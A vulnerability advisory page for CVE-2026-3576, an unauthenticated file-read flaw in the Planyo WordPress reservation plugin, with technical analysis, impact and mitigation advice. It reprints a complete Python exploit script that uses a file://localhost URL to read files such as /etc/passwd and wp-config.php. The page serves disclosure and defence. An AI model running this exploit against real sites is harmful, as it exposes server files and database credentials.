CVE-2026-3576: CWE-20 Improper Input Validation in xtreeme Planyo online reservation system
The Planyo Online Reservation System WordPress plugin (versions up to and including 3.0) contains a Server-Side Request Forgery (SSRF) vulnerability that allows unauthenticated attackers to read arbitrary local files. The vulnerability arises because the plugin's AJAX proxy endpoint does not properly validate URL schemes, permitting file:// URLs to bypass host allowlist checks and access sensitive server files such as /etc/passwd and wp-config.php.
AI Analysis
Technical Summary
CVE-2026-3576 is an SSRF vulnerability in the Planyo Online Reservation System WordPress plugin affecting all versions up to 3.0. The vulnerability exists in the ulap.php file, which acts as an AJAX proxy accessible without authentication or WordPress bootstrapping. The send_http_post() function attempts to validate the host of the provided URL against an allowlist including 'localhost' but fails to validate the URL scheme. This allows attackers to supply file:// URLs that bypass the host check because parse_url() returns 'localhost' as the host. The URL is then passed to curl_init() or fopen(), which support file://, enabling arbitrary local file read and disclosure of sensitive server files.
Potential Impact
An unauthenticated attacker can exploit this vulnerability to read arbitrary local files on the server hosting the Planyo plugin. This can lead to disclosure of sensitive information such as system files (/etc/passwd) and WordPress configuration files (wp-config.php) that contain database credentials and authentication keys. The vulnerability has a CVSS 3.1 base score of 7.2 (High), reflecting network attack vector, no privileges required, no user interaction, and partial confidentiality and integrity impact.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the ulap.php endpoint and consider disabling the plugin or the vulnerable functionality. Monitor for updates from the vendor xtreeme regarding an official fix. Avoid exposing the plugin to untrusted networks.
Indicators of Compromise
- exploit-code: # Exploit Title: Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF # Date: 12-07-2026 # Exploit Author: Balachandar Gowrisankar # Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/ # Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ # Version: <= 3.0 # Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14 # CVE: CVE-2026-3576 # CVSS Score: 7.2 # Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd import argparse import requests import re def version_check(base_url): readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt" response = requests.get(readme_url) text = response.text match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE) if match: changelog = match.group(1) versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog) if versions: print("[+] Version found:", versions[-1]) if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']: print("[+] Target is vulnerable") else: print("[-] Target is not vulnerable. Exiting.") exit() else: print("[-] No versions found. Try skipping version check to see if exploit still works.") exit() else: print("[-] No changelog section found. Try skipping version check to see if exploit still works.") exit() def read_file(base_url, file): target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file try: response = requests.get(target_url) response.raise_for_status() print(response.text) except requests.exceptions.HTTPError as e: print(e) def main(): parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576") parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)") parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd") parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False") args = parser.parse_args() if not args.disable_check: print("[*] Checking if target is vulnerable...") version_check(args.base_url) print("\n[*] Attempting to read arbitrary file...\n") read_file(args.base_url, args.file) if __name__ == "__main__": main()
CVE-2026-3576: CWE-20 Improper Input Validation in xtreeme Planyo online reservation system
Description
The Planyo Online Reservation System WordPress plugin (versions up to and including 3.0) contains a Server-Side Request Forgery (SSRF) vulnerability that allows unauthenticated attackers to read arbitrary local files. The vulnerability arises because the plugin's AJAX proxy endpoint does not properly validate URL schemes, permitting file:// URLs to bypass host allowlist checks and access sensitive server files such as /etc/passwd and wp-config.php.
CVSS v3.1
Score 7.2high
Affected software
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-3576 is an SSRF vulnerability in the Planyo Online Reservation System WordPress plugin affecting all versions up to 3.0. The vulnerability exists in the ulap.php file, which acts as an AJAX proxy accessible without authentication or WordPress bootstrapping. The send_http_post() function attempts to validate the host of the provided URL against an allowlist including 'localhost' but fails to validate the URL scheme. This allows attackers to supply file:// URLs that bypass the host check because parse_url() returns 'localhost' as the host. The URL is then passed to curl_init() or fopen(), which support file://, enabling arbitrary local file read and disclosure of sensitive server files.
Potential Impact
An unauthenticated attacker can exploit this vulnerability to read arbitrary local files on the server hosting the Planyo plugin. This can lead to disclosure of sensitive information such as system files (/etc/passwd) and WordPress configuration files (wp-config.php) that contain database credentials and authentication keys. The vulnerability has a CVSS 3.1 base score of 7.2 (High), reflecting network attack vector, no privileges required, no user interaction, and partial confidentiality and integrity impact.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the ulap.php endpoint and consider disabling the plugin or the vulnerable functionality. Monitor for updates from the vendor xtreeme regarding an official fix. Avoid exposing the plugin to untrusted networks.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- Wordfence
- Date Reserved
- 2026-03-04T21:44:03.501Z
- Cvss Version
- 3.1
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF
# Exploit Title: Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF # Date: 12-07-2026 # Exploit Author: Balachandar Gowrisankar # Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/ # Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ # Version: <= 3.0 # Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14 # CVE: CVE-2026-3576 # CVSS Score: 7.2 # Usage: python exploit.py http://127.0.0.1/w... (2225 more characters)
Threat ID: 6a51c78468715ace4321ea08
Added to database: 07/11/2026, 04:33:08 UTC
Last enriched: 08/11/2026, 21:08:59 UTC
Last updated: 08/22/2026, 22:52:13 UTC
Views: 91
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.